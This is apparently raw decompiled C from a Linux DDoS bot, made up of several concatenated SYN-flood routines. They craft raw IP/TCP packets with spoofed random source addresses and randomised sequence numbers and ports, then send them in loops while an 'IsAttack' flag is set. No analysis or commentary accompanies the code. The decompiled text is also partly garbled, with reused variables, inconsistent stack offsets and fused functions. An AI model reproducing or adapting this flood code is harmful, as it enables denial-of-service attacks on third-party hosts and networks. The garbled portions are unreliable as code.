int synnnumpacket(_Unknown_base* ThreadData)
{// addr = 0x0804A8D1
    SYNPACKET_NUM SynObj;
    short int tcp_flags;
    char[19] szNewIP;
    char[255] szPackData;
    char[127] pheader;
    struct sockaddr_in servaddr;
    int hSockft;
    int topNum;
    int randNum;
    struct hostent* szhost;
    int nTime;
    int tcphdr_size;
    struct ip* iph;
    struct tcphdr* tcph;
    struct tcp_options* tcpopt;
    int one;
    const int* val;
    int looptime;
    int aa;
    int ShamBase;
    int dwNewIP;
    signed int _v16;
    signed int _v20;
    signed int _v24;
    signed int _v28;
    signed int _v32;
    _unknown_ _v34;
    signed int _v36;
    signed int _v40;
    char* _v44;
    unsigned int _v48;
    signed int _v52;
    signed char* _v56;
    unsigned int _v60;
    signed short _v62;
    unsigned int _v64;
    signed int _v68;
    signed short _v70;
    signed int _v72;
    signed short _v74;
    signed int _v76;
    signed int _v80;
    signed short _v82;
    signed int _v84;
    signed int _v88;
    intOrPtr _v92;
    signed int _v96;
    signed int _v208;
    signed int _v216;
    unsigned int _v220;
    unsigned int _v228;
    char _v232;
    char _v240;
    char _v244;
    char _v252;
    char _v264;
    char _v496;
    char _v508;
    char _v520;
    unsigned int _v613;
    unsigned short _v614;
    signed int _v615;
    signed int _v616;
    short unsigned int _v624;
    unsigned int _v625;
    unsigned short _v626;
    signed int _v627;
    signed int _v628;
    short unsigned int _v636;
    unsigned int _v637;
    unsigned short _v638;
    signed int _v639;
    signed int _v640;
    char _v644;
    short unsigned int _v648;
    char _v652;
    char _v656;
    signed int _v660;
    char _v664;
    char _v668;
    signed int _v672;
    signed int _v676;
    signed int _v680;
    signed short _v684;
    signed short _v688;
    signed int _v692;
    signed int _v696;
    signed int _v700;
    signed int _v704;
    signed int _v708;
    signed int _v712;
    intOrPtr _v768;
    signed int _v772;
    signed int _v774;
    char _v932;
    signed short _v1352;
    signed int _v1396;
    signed int _v1400;
    signed int _v1404;
    signed int _v1408;
    signed int _v1412;
    intOrPtr _v1476;
    signed int _v1480;
    signed int _v1482;
    char _v1640;
    signed short _v2060;
    signed int _v2112;
    signed int _v2116;
    signed int _v2120;
    signed char _v2124;
    signed int _v2128;
    intOrPtr _v2196;
    signed int _v2200;
    signed int _v2202;
    intOrPtr _v2352;
    char _v2364;
    signed short _v2784;
    signed int _v2828;
    signed int _v2832;
    signed int _v2836;
    signed char _v2840;
    signed int _v2844;
    signed int _v2856;
    signed int _v2860;
    signed char _v2864;
    signed int _v2866;
    _unknown_ r6;
    _unknown_ _t919;
    signed int _t920;
    signed char* _t925;
    _unknown_ _t927;
    _unknown_ _t928;
    _unknown_ _t929;
    _unknown_ _t930;
    _unknown_ _t934;
    signed int _t935;
    intOrPtr _t937;
    _unknown_ _t939;
    _unknown_ _t940;
    _unknown_ _t941;
    _unknown_ _t942;
    _unknown_ _t946;
    signed int _t947;
    intOrPtr _t949;
    _unknown_ _t951;
    _unknown_ _t952;
    _unknown_ _t953;
    _unknown_ _t954;
    _unknown_ _t958;
    signed int _t959;
    signed int _t964;
    _unknown_ _t966;
    _unknown_ _t967;
    _unknown_ _t968;
    _unknown_ _t969;
    _unknown_ _t990;
    signed char _t1009;
    short _t1018;
    intOrPtr _t1020;
    intOrPtr _t1022;
    short _t1031;
    signed int _t1039;
    signed int _t1040;
    _unknown_ _t1042;
    intOrPtr _t1050;
    signed int _t1051;
    _unknown_ _t1053;
    short _t1062;
    signed int _t1063;
    _unknown_ _t1065;
    signed int _t1074;
    _unknown_ _t1076;
    _unknown_ _t1081;
    signed char _t1091;
    _unknown_ _t1094;
    _unknown_ _t1098;
    _unknown_ _t1103;
    _unknown_ _t1112;
    _unknown_ _t1116;
    short unsigned int _t1119;
    _unknown_ _t1124;
    _unknown_ _t1139;
    signed char _t1158;
    short _t1167;
    intOrPtr _t1169;
    intOrPtr _t1171;
    short _t1180;
    signed int _t1188;
    signed int _t1189;
    _unknown_ _t1191;
    intOrPtr _t1199;
    signed int _t1200;
    _unknown_ _t1202;
    short _t1211;
    signed int _t1212;
    _unknown_ _t1214;
    signed int _t1223;
    _unknown_ _t1225;
    _unknown_ _t1230;
    signed char _t1240;
    _unknown_ _t1243;
    _unknown_ _t1247;
    _unknown_ _t1252;
    _unknown_ _t1261;
    _unknown_ _t1265;
    short unsigned int _t1268;
    signed int _t1271;
    _unknown_ _t1273;
    signed int _t1276;
    _unknown_ _t1292;
    char _t1311;
    short _t1320;
    intOrPtr _t1322;
    intOrPtr _t1324;
    short _t1333;
    signed int _t1341;
    signed int _t1342;
    _unknown_ _t1344;
    intOrPtr _t1352;
    signed int _t1353;
    _unknown_ _t1355;
    short _t1364;
    signed int _t1365;
    _unknown_ _t1367;
    signed int _t1376;
    _unknown_ _t1378;
    _unknown_ _t1383;
    char _t1393;
    _unknown_ _t1396;
    _unknown_ _t1400;
    _unknown_ _t1405;
    _unknown_ _t1414;
    _unknown_ _t1418;
    short unsigned int _t1421;
    _unknown_ _t1438;
    char _t1457;
    short _t1466;
    intOrPtr _t1468;
    intOrPtr _t1470;
    short _t1479;
    signed int _t1487;
    signed int _t1488;
    _unknown_ _t1490;
    intOrPtr _t1498;
    signed int _t1499;
    _unknown_ _t1501;
    short _t1510;
    signed int _t1511;
    _unknown_ _t1513;
    signed int _t1522;
    _unknown_ _t1524;
    _unknown_ _t1529;
    char _t1539;
    _unknown_ _t1542;
    _unknown_ _t1546;
    _unknown_ _t1551;
    _unknown_ _t1560;
    _unknown_ _t1564;
    short unsigned int _t1567;
    signed int _t1570;
    _unknown_ _t1572;
    signed int _t1585;
    signed int _t1611;
    signed int _t1612;
    signed int _t1613;
    signed int _t1619;
    signed int _t1620;
    signed int _t1621;
    signed int _t1625;
    signed int _t1629;
    signed int _t1630;
    signed int _t1631;
    signed int _t1637;
    signed int _t1638;
    signed int _t1639;
    signed int _t1671;
    _unknown_ _t1679;
    _unknown_ _t1687;
    _unknown_ _t1715;
    signed int _t1722;
    _unknown_ _t1759;
    _unknown_ _t1799;
    _unknown_ _t1807;
    _unknown_ _t1817;
    signed int* _t1818;
    signed int* _t1819;
    signed int* _t1820;
    _unknown_ _t1821;

    _push(__esi);
    _push(_t1585);
    __esp = __esp - 704;
    L0806F910( &_v232, 160);
    L0806F9E0(_t1810, __esi,  &_v232, ThreadData, 160);
    _v70 = 2;
    _v712 = 16;
    _t920 =  &_v652;
     *__esp = _t920;
    L0806F910();
    _v708 = 6;
    L08073680(_t1585, __esp, 2, 3);
    _v68 = _t920;
    _v652 = 2;
    _v64 = _v220;
    if(_v64 <= 60 || _v64 > 800) {
        _v64 = 61;
    }
    _v60 = _v64 - 60;
    _t925 =  &_v232 + 20;
    L08075250(_t925);
    _v56 = _t925;
    if(_v56 != 0) {
        _t1438 = L0806E4D0( &_v232 + 20, "0.0.0.0");
        if(_t1438 == 0) {
        } else {
            _v52 = 0;
            _v52 = _v216;
            if(_v52 <= 0 || _v52 > 86400) {
                _v52 = 20;
            }
            _v648 =  *( *(_v56[0x10]));
            _v48 = 20;
            _v44 =  &_v508;
            _v40 =  &_v508 + 20;
            _v36 =  &_v508 + 40;
             *_v44 =  *_v44 & 255 & 240 | 5;
             *_v44 =  *_v44 & 255 & 15 | 64;
            (_v44[1]) = 0;
            (_v44[2]) = 60;
             *__esp = 31337;
            _t1457 = L08075240(__esp);
            (_v44[4]) = _t1457;
            (_v44[6]) = 0;
            (_v44[8]) = 250;
            (_v44[9]) = 6;
            (_v44[0xa]) = 0;
            (_v44[0x10]) = _v648;
             *__esp = _v84 & 65535;
            _t1466 = L08075240(__esp);
             *((short*)(_v40 + 2)) = _t1466;
             *__esp = 31337;
            _t1468 = L08075230(__esp);
             *((intOrPtr*)(_v40 + 4)) = _t1468;
             *__esp = 0;
            _t1470 = L08075230(__esp);
             *((intOrPtr*)(_v40 + 8)) = _t1470;
             *(_v40 + 12) =  *(_v40 + 12) & 255 & 240;
             *(_v40 + 12) =  *(_v40 + 12) & 255 & 15 | 160;
             *(_v40 + 13) = _v70 & 65535;
             *__esp = 57344;
            _t1479 = L08075240(__esp);
             *((short*)(_v40 + 14)) = _t1479;
             *(_v40 + 16) = 0;
             *(_v40 + 18) = 0;
            if((_v48 & 3) != 0) {
                _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
            }
            _v48 = 40;
            _v656 = 1;
            _v32 =  &_v656;
            _v700 = 4;
            _v704 = _v32;
            _v708 = 3;
            _v712 = 0;
            _t1487 = _v68;
             *__esp = _t1487;
            L08073640(_t1585, __esp);
            if(_t1487 >= 0) {
            } else {
                _v28 = 0;
                while(1) {
                    _t1488 = IsAttack;
                    if(_t1488 == 0) {
                        break;
                    }
                    _v24 = 0;
                    while(_v24 <= 999) {
                        L0805EBE0();
                        _t1637 = _t1488;
                        _v692 = -2147450879;
                        _v680 = ((_v692 * _t1637 >> 32) + _t1637 >> 15) - (_t1637 >> 31);
                        _v680 = _t1637 - (_v680 << 16) - _v680;
                         *__esp = _v680;
                        _t1498 = L08075230(__esp);
                        _t1499 = _v40;
                         *((intOrPtr*)(_t1499 + 4)) = _t1498;
                        L0805EBE0();
                        _t1638 = _t1499;
                        _v692 = -2147450879;
                        _v676 = ((_v692 * _t1638 >> 32) + _t1638 >> 15) - (_t1638 >> 31);
                        _v676 = _t1638 - (_v676 << 16) - _v676;
                         *__esp = _v676 & 65535 & 65535;
                        _t1510 = L08075240(__esp);
                        _t1511 = _v40;
                         *((short*)(_t1511 + 14)) = _t1510;
                        L0805EBE0();
                        _t1639 = _t1511;
                        _v692 = -2147450879;
                        _t1585 = ((_v692 * _t1639 >> 32) + _t1639 >> 15) - (_t1639 >> 31);
                        _v672 = _t1585;
                        _v672 = _t1639 - (_v672 << 16) - _v672;
                         *_v40 = _v672 & 65535;
                        _t1522 = _v76 - _v80;
                        _v20 = _t1522;
                        if(_v20 <= 0) {
                            goto L23;
                        } else {
                            L0805EBE0();
                            _v16 = _t1522 % _v20 + _v80;
                            L0806F850(_t1585, _t1810, __esi,  &_v252, 0, 20);
                            _v696 = _v16 & 255;
                            _v700 = _v16 >> 8 & 255;
                            _v704 = _v16 >> 16 & 255;
                            L0805FF50( &_v252, "%d.%d.%d.%d", _v16 >> 24);
                            _t1539 = L08073B40( &_v252);
                            (_v44[0xc]) = _t1539;
                            L0806F850(_v16 >> 16 & 255, _t1810, __esi,  &_v636, 0, 128);
                            L0806F9E0(_t1810, __esi,  &_v636,  &(_v44[0xc]), 4);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[2]),  &(_v44[0x10]), 4);
                            _v628 = 0;
                            _v627 = (_v44[9]) & 255;
                            _v626 = _v48 >> 8;
                            _v625 = _v48;
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[6]), _v40, 20);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[0x10]), _v36, 8);
                            _t1567 = csum( &_v636, _v48 + 12);
                             *(_v40 + 16) = _t1567;
                            __esi =  &_v652;
                            _t1570 = (_v44[2]) & 65535;
                            _t1585 = _t1570 & 65535;
                            L0805EBE0();
                            _v696 = 16;
                            _v700 = __esi;
                            _v704 = 0;
                            _v708 = _t1585 + _t1570 % _v60;
                            _t1488 = L08052C20(__esi, _v68,  &_v508);
                            _v24 = _v24 + 1;
                            continue;
                        }
                        goto L23;
                    }
                }
            }
        }
    }
L23:
    L08052A50(_v68);
    _t928 = L08051050();
    L08051000(_t928);
     *__esp = 0;
    L08050FE0();
    goto L24;
L24:
    _push(_t1817);
    _t1818 = __esp;
    _push(_t1585);
    __esp = __esp - 692;
    L0806F910( &_v932, 156);
    L0806F9E0(_t1810, __esi,  &_v932, _v712, 156);
    _v774 = 16;
    _v1412 = 16;
    _t935 =  &_v1352;
     *__esp = _t935;
    L0806F910();
    _v1408 = 6;
    L08073680(_t1585, __esp, 2, 3);
    _v772 = _t935;
    _v1352 = 2;
    _t937 =  &_v932 + 16;
    L08075250(_t937);
    _v768 = _t937;
    if(_v768 != 0) {
        _t1292 = L0806E4D0( &((char*)( &_v220)[4]), "0.0.0.0");
        if(_t1292 == 0) {
        } else {
            _v52 = 0;
            _v52 = _v208;
            if(_v52 <= 0 || _v52 > 86400) {
                _v52 = 20;
            }
            _v636 =  *( *(_v56[0x10]));
            _v48 = 20;
            _v44 =  &_v496;
            _v40 =  &_v496 + 20;
            _v36 =  &_v496 + 40;
             *_v44 =  *_v44 & 255 & 240 | 5;
             *_v44 =  *_v44 & 255 & 15 | 64;
            (_v44[1]) = 0;
            (_v44[2]) = 60;
             *__esp = 31337;
            _t1311 = L08075240(__esp);
            (_v44[4]) = _t1311;
            (_v44[6]) = 0;
            (_v44[8]) = 250;
            (_v44[9]) = 6;
            (_v44[0xa]) = 0;
            (_v44[0x10]) = _v636;
             *__esp = _v76 & 65535;
            _t1320 = L08075240(__esp);
             *((short*)(_v40 + 2)) = _t1320;
             *__esp = 31337;
            _t1322 = L08075230(__esp);
             *((intOrPtr*)(_v40 + 4)) = _t1322;
             *__esp = 0;
            _t1324 = L08075230(__esp);
             *((intOrPtr*)(_v40 + 8)) = _t1324;
             *(_v40 + 12) =  *(_v40 + 12) & 255 & 240;
             *(_v40 + 12) =  *(_v40 + 12) & 255 & 15 | 160;
             *(_v40 + 13) = _v62 & 65535;
             *__esp = 57344;
            _t1333 = L08075240(__esp);
             *((short*)(_v40 + 14)) = _t1333;
             *(_v40 + 16) = 0;
             *(_v40 + 18) = 0;
            if((_v48 & 3) != 0) {
                _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
            }
            _v48 = 40;
            _v644 = 1;
            _v32 =  &_v644;
            _v1400 = 4;
            _v1404 = _v32;
            _v1408 = 3;
            _v1412 = 0;
            _t1341 = _v60;
             *__esp = _t1341;
            L08073640(_t1585, __esp);
            if(_t1341 >= 0) {
            } else {
                _v28 = 0;
                while(1) {
                    _t1342 = IsAttack;
                    if(_t1342 == 0) {
                        break;
                    }
                    _v24 = 0;
                    while(_v24 <= 999) {
                        L0805EBE0();
                        _t1629 = _t1342;
                        _v672 = -2147450879;
                        _v664 = ((_v672 * _t1629 >> 32) + _t1629 >> 15) - (_t1629 >> 31);
                        _v664 = _t1629 - (_v664 << 16) - _v664;
                         *__esp = _v664;
                        _t1352 = L08075230(__esp);
                        _t1353 = _v40;
                         *((intOrPtr*)(_t1353 + 4)) = _t1352;
                        L0805EBE0();
                        _t1630 = _t1353;
                        _v672 = -2147450879;
                        _v660 = ((_v672 * _t1630 >> 32) + _t1630 >> 15) - (_t1630 >> 31);
                        _v660 = _t1630 - (_v660 << 16) - _v660;
                         *__esp = _v660 & 65535 & 65535;
                        _t1364 = L08075240(__esp);
                        _t1365 = _v40;
                         *((short*)(_t1365 + 14)) = _t1364;
                        L0805EBE0();
                        _t1631 = _t1365;
                        _v672 = -2147450879;
                        _t1585 = ((_v672 * _t1631 >> 32) + _t1631 >> 15) - (_t1631 >> 31);
                        _v656 = _t1585;
                        _v656 = _t1631 - (_v656 << 16) - _v656;
                         *_v40 = _v656 & 65535;
                        _t1376 = _v68 - _v72;
                        _v20 = _t1376;
                        if(_v20 <= 0) {
                            goto L44;
                        } else {
                            L0805EBE0();
                            _v16 = _t1376 % _v20 + _v72;
                            L0806F850(_t1585, _t1810, __esi,  &_v240, 0, 20);
                            _t1585 = _v16 >> 16 & 255;
                            _v1396 = _v16 & 255;
                            _v1400 = _v16 >> 8 & 255;
                            _v1404 = _t1585;
                            L0805FF50( &_v240, "%d.%d.%d.%d", _v16 >> 24);
                            _t1393 = L08073B40( &_v240);
                            (_v44[0xc]) = _t1393;
                            L0806F850(_t1585, _t1810, __esi,  &_v624, 0, 128);
                            L0806F9E0(_t1810, __esi,  &_v624,  &(_v44[0xc]), 4);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v624)[2]),  &(_v44[0x10]), 4);
                            _v616 = 0;
                            _v615 = (_v44[9]) & 255;
                            _v614 = _v48 >> 8;
                            _v613 = _v48;
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v624)[6]), _v40, 20);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v624)[0x10]), _v36, 8);
                            _t1421 = csum( &_v624, _v48 + 12);
                             *(_v40 + 16) = _t1421;
                            _v1396 = 16;
                            _v1400 =  &_v640;
                            _v1404 = 0;
                            _v1408 = (_v44[2]) & 65535 & 65535;
                            _t1342 = L08052C20(__esi, _v60,  &_v496);
                            _v24 = _v24 + 1;
                            continue;
                        }
                        goto L44;
                    }
                }
            }
        }
    }
L44:
    L08052A50(_v60);
    _t940 = L08051050();
    L08051000(_t940);
     *__esp = 0;
    L08050FE0();
    goto L45;
L45:
    _push(_t1818);
    _t1819 = __esp;
    _push(_t1810);
    _push(__esi);
    _push(_t1585);
    __esp = __esp - 700;
    L0806F910( &_v1640, 156);
    L0806F9E0(_t1810, __esi,  &_v1640, _v1412, 156);
    _v1482 = 16;
    _v2128 = 16;
    _t947 =  &_v2060;
     *__esp = _t947;
    L0806F910();
    _v2124 = 6;
    L08073680(_t1585, __esp, 2, 3);
    _v1480 = _t947;
    _v2060 = 2;
    _t949 =  &_v1640 + 16;
    L08075250(_t949);
    _v1476 = _t949;
    if(_v1476 != 0) {
        _t1139 = L0806E4D0( &_v232 + 16, "0.0.0.0");
        if(_t1139 == 0) {
        } else {
            _v64 = 0;
            _v64 = _v220;
            if(_v64 <= 0 || _v64 > 86400) {
                _v64 = 20;
            }
            _v648 =  *( *( *(_v68 + 16)));
            _v60 = 20;
            _v56 =  &_v508;
            _v52 =  &_v508 + 20;
            _v48 =  &_v508 + 40;
             *_v56 =  *_v56 & 255 & 240 | 5;
             *_v56 =  *_v56 & 255 & 15 | 64;
            (_v56[1]) = 0;
            (_v56[2]) = 60;
             *__esp = 31337;
            _t1158 = L08075240(__esp);
            (_v56[4]) = _t1158;
            (_v56[6]) = 0;
            (_v56[8]) = 250;
            (_v56[9]) = 6;
            (_v56[0xa]) = 0;
            (_v56[0x10]) = _v648;
             *__esp = _v88 & 65535;
            _t1167 = L08075240(__esp);
             *((short*)(_v52 + 2)) = _t1167;
             *__esp = 31337;
            _t1169 = L08075230(__esp);
             *((intOrPtr*)(_v52 + 4)) = _t1169;
             *__esp = 0;
            _t1171 = L08075230(__esp);
             *((intOrPtr*)(_v52 + 8)) = _t1171;
             *(_v52 + 12) =  *(_v52 + 12) & 255 & 240;
             *(_v52 + 12) =  *(_v52 + 12) & 255 & 15 | 160;
             *(_v52 + 13) = _v74 & 65535;
             *__esp = 57344;
            _t1180 = L08075240(__esp);
             *((short*)(_v52 + 14)) = _t1180;
             *((short*)(_v52 + 16)) = 0;
             *(_v52 + 18) = 0;
            if((_v60 & 3) != 0) {
                _v60 = (_v60 + (_v60 >> 31 >> 30) & 3) - (_v60 >> 31 >> 30) + 1 << 2;
            }
            _v60 = 40;
            _v656 = 1;
            _v44 =  &_v656;
            _v2116 = 4;
            _v2120 = _v44;
            _v2124 = 3;
            _v2128 = 0;
            _t1188 = _v72;
             *__esp = _t1188;
            L08073640(_t1585, __esp);
            if(_t1188 >= 0) {
            } else {
                _v40 = 0;
                while(1) {
                    _t1189 = IsAttack;
                    if(_t1189 == 0) {
                        break;
                    }
                    _v36 = 0;
                    while(_v36 <= 999) {
                        L0805EBE0();
                        _t1619 = _t1189;
                        _v688 = -2147450879;
                        _v680 = ((_v688 * _t1619 >> 32) + _t1619 >> 15) - (_t1619 >> 31);
                        _v680 = _t1619 - (_v680 << 16) - _v680;
                         *__esp = _v680;
                        _t1199 = L08075230(__esp);
                        _t1200 = _v52;
                         *((intOrPtr*)(_t1200 + 4)) = _t1199;
                        L0805EBE0();
                        _t1620 = _t1200;
                        _v688 = -2147450879;
                        _v676 = ((_v688 * _t1620 >> 32) + _t1620 >> 15) - (_t1620 >> 31);
                        _v676 = _t1620 - (_v676 << 16) - _v676;
                         *__esp = _v676 & 65535 & 65535;
                        _t1211 = L08075240(__esp);
                        _t1212 = _v52;
                         *((short*)(_t1212 + 14)) = _t1211;
                        L0805EBE0();
                        _t1621 = _t1212;
                        _v688 = -2147450879;
                        _t1585 = ((_v688 * _t1621 >> 32) + _t1621 >> 15) - (_t1621 >> 31);
                        _v672 = _t1585;
                        _t1810 = _t1621 - (_v672 << 16) - _v672;
                        _v672 = _t1621 - (_v672 << 16) - _v672;
                         *_v52 = _v672 & 65535;
                        _t1223 = _v80 - _v84;
                        _v32 = _t1223;
                        if(_v32 <= 0) {
                            goto L65;
                        } else {
                            L0805EBE0();
                            _v28 = _t1223 % _v32 + _v84;
                            L0806F850(_t1585, _t1810, __esi,  &_v252, 0, 20);
                            _v2112 = _v28 & 255;
                            _v2116 = _v28 >> 8 & 255;
                            _v2120 = _v28 >> 16 & 255;
                            L0805FF50( &_v252, "%d.%d.%d.%d", _v28 >> 24);
                            _t1240 = L08073B40( &_v252);
                            (_v56[0xc]) = _t1240;
                            L0806F850(_v28 >> 16 & 255, _t1810, __esi,  &_v636, 0, 128);
                            L0806F9E0(_t1810, __esi,  &_v636,  &(_v56[0xc]), 4);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[2]),  &(_v56[0x10]), 4);
                            _v628 = 0;
                            _v627 = (_v56[9]) & 255;
                            _v626 = _v60 >> 8;
                            _v625 = _v60;
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[6]), _v52, 20);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[0x10]), _v48, 8);
                            _t1268 = csum( &_v636, _v60 + 12);
                             *((short*)(_v52 + 16)) = _t1268;
                            _t1585 =  &_v652;
                            _t1271 = (_v56[2]) & 65535;
                            __esi = _t1271 & 65535;
                            L0805EBE0();
                            _t1625 = _t1271;
                            _v688 = -1600085855;
                            _t1722 = _v688 * _t1625 >> 32;
                            _t1276 = _t1625 >> 31;
                            _t1810 = (_t1722 + _t1625 >> 7) - _t1276;
                            _v668 = (_t1722 + _t1625 >> 7) - _t1276;
                            _v668 = _t1625 - _t1276 * _v668;
                            _v2112 = 16;
                            _v2116 = _t1585;
                            _v2120 = 0;
                            _v2124 = __esi + _v668 + 800;
                            _t1189 = L08052C20(__esi, _v72,  &_v508);
                            _v36 = _v36 + 1;
                            continue;
                        }
                        goto L65;
                    }
                }
            }
        }
    }
L65:
    L08052A50(_v72);
    _t952 = L08051050();
    L08051000(_t952);
     *__esp = 0;
    L08050FE0();
    goto L66;
L66:
    _push(_t1819);
    _t1820 = __esp;
    _push(__esi);
    _push(_t1585);
    __esp = __esp - 704;
    L0806F910( &_v2364, 160);
    L0806F9E0(_t1810, __esi,  &_v2364, _v2128, 160);
    _v2202 = 16;
    _v2844 = 16;
    _t959 =  &_v2784;
     *__esp = _t959;
    L0806F910();
    _v2840 = 6;
    L08073680(_t1585, __esp, 2, 3);
    _v2200 = _t959;
    _v2784 = 2;
    _v2196 = _v2352;
    if(_v2196 <= 60 || _v76 > 800) {
        _v76 = 61;
    }
    _v72 = _v76 - 60;
    _t964 =  &_v244 + 20;
    L08075250(_t964);
    _v68 = _t964;
    if(_v68 != 0) {
        _t990 = L0806E4D0( &_v244 + 20, "0.0.0.0");
        if(_t990 == 0) {
        } else {
            _v64 = 0;
            _v64 = _v228;
            if(_v64 <= 0 || _v64 > 86400) {
                _v64 = 20;
            }
            _v660 =  *( *( *(_v68 + 16)));
            _v60 = 20;
            _v56 =  &_v520;
            _v52 =  &_v520 + 20;
            _v48 =  &_v520 + 40;
             *_v56 =  *_v56 & 255 & 240 | 5;
             *_v56 =  *_v56 & 255 & 15 | 64;
            (_v56[1]) = 0;
            (_v56[2]) = 60;
             *__esp = 31337;
            _t1009 = L08075240(__esp);
            (_v56[4]) = _t1009;
            (_v56[6]) = 0;
            (_v56[8]) = 250;
            (_v56[9]) = 6;
            (_v56[0xa]) = 0;
            (_v56[0x10]) = _v660;
             *__esp = _v96 & 65535;
            _t1018 = L08075240(__esp);
             *((short*)(_v52 + 2)) = _t1018;
             *__esp = 31337;
            _t1020 = L08075230(__esp);
             *((intOrPtr*)(_v52 + 4)) = _t1020;
             *__esp = 0;
            _t1022 = L08075230(__esp);
             *((intOrPtr*)(_v52 + 8)) = _t1022;
             *(_v52 + 12) =  *(_v52 + 12) & 255 & 240;
             *(_v52 + 12) =  *(_v52 + 12) & 255 & 15 | 160;
             *(_v52 + 13) = _v82 & 65535;
             *__esp = 57344;
            _t1031 = L08075240(__esp);
             *((short*)(_v52 + 14)) = _t1031;
             *((short*)(_v52 + 16)) = 0;
             *(_v52 + 18) = 0;
            if((_v60 & 3) != 0) {
                _v60 = (_v60 + (_v60 >> 31 >> 30) & 3) - (_v60 >> 31 >> 30) + 1 << 2;
            }
            _v60 = 40;
            _v668 = 1;
            _v44 =  &_v668;
            _v2832 = 4;
            _v2836 = _v44;
            _v2840 = 3;
            _v2844 = 0;
            _t1039 = _v80;
             *__esp = _t1039;
            L08073640(_t1585, __esp);
            if(_t1039 >= 0) {
            } else {
                _v40 = 0;
                while(1) {
                    _t1040 = IsAttack;
                    if(_t1040 == 0) {
                        break;
                    }
                    _v36 = 0;
                    while(_v36 <= 999) {
                        L0805EBE0();
                        _t1611 = _t1040;
                        _v704 = -2147450879;
                        _v692 = ((_v704 * _t1611 >> 32) + _t1611 >> 15) - (_t1611 >> 31);
                        _v692 = _t1611 - (_v692 << 16) - _v692;
                         *__esp = _v692;
                        _t1050 = L08075230(__esp);
                        _t1051 = _v52;
                         *((intOrPtr*)(_t1051 + 4)) = _t1050;
                        L0805EBE0();
                        _t1612 = _t1051;
                        _v704 = -2147450879;
                        _v688 = ((_v704 * _t1612 >> 32) + _t1612 >> 15) - (_t1612 >> 31);
                        _v688 = _t1612 - (_v688 << 16) - _v688;
                         *__esp = _v688 & 65535 & 65535;
                        _t1062 = L08075240(__esp);
                        _t1063 = _v52;
                         *((short*)(_t1063 + 14)) = _t1062;
                        L0805EBE0();
                        _t1613 = _t1063;
                        _v704 = -2147450879;
                        _t1671 = _v704 * _t1613 >> 32;
                        _t1591 = (_t1671 + _t1613 >> 15) - (_t1613 >> 31);
                        _v684 = (_t1671 + _t1613 >> 15) - (_t1613 >> 31);
                        _v684 = _t1613 - (_v684 << 16) - _v684;
                         *_v52 = _v684 & 65535;
                        _t1074 = _v88 - _v92;
                        _v32 = _t1074;
                        if(_v32 <= 0) {
                            goto L89;
                        } else {
                            L0805EBE0();
                            _v28 = _t1074 % _v32 + _v92;
                            L0806F850(_t1591, _t1810, __esi,  &_v264, 0, 20);
                            _v2828 = _v28 & 255;
                            _v2832 = _v28 >> 8 & 255;
                            _v2836 = _v28 >> 16 & 255;
                            L0805FF50( &_v264, "%d.%d.%d.%d", _v28 >> 24);
                            _t1091 = L08073B40( &_v264);
                            (_v56[0xc]) = _t1091;
                            L0806F850(_v28 >> 16 & 255, _t1810, __esi,  &_v648, 0, 128);
                            L0806F9E0(_t1810, __esi,  &_v648,  &(_v56[0xc]), 4);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v648)[2]),  &(_v56[0x10]), 4);
                            _v640 = 0;
                            _v639 = (_v56[9]) & 255;
                            _v638 = _v60 >> 8;
                            _v637 = _v60;
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v648)[6]), _v52, 20);
                            L0806F9E0(_t1810, __esi,  &((char*)( &_v648)[0x10]), _v48, 8);
                            _t1119 = csum( &_v648, _v60 + 12);
                             *(_v52 + 16) = _t1119;
                            __esi =  &_v664;
                            L0805EBE0();
                            _v2828 = 16;
                            _v2832 = __esi;
                            _v2836 = 0;
                            _v2840 = ((_v56[2]) & 65535 & 65535) + ((_v56[2]) & 65535) % _v72;
                            _t1040 = L08052C20(__esi, _v80,  &_v520);
                            _v36 = _v36 + 1;
                            continue;
                        }
                        goto L89;
                    }
                }
            }
        }
    }
L89:
    L08052A50(_v80);
    _t967 = L08051050();
    L08051000(_t967);
     *__esp = 0;
    L08050FE0();
    goto L90;
L90:
    _push(_t1820);
    __esp = __esp - 16;
    _v2864 = _v2840;
    _v2860 = _v2844;
    _v2856 = 0;
    _v2866 = 0;
    while(_v32 > 1) {
        _v24 = _v24 + ( *_v28 & 65535 & 65535);
        _v28 = _v28 + 2;
        _v32 = _v32 - 2;
    }
}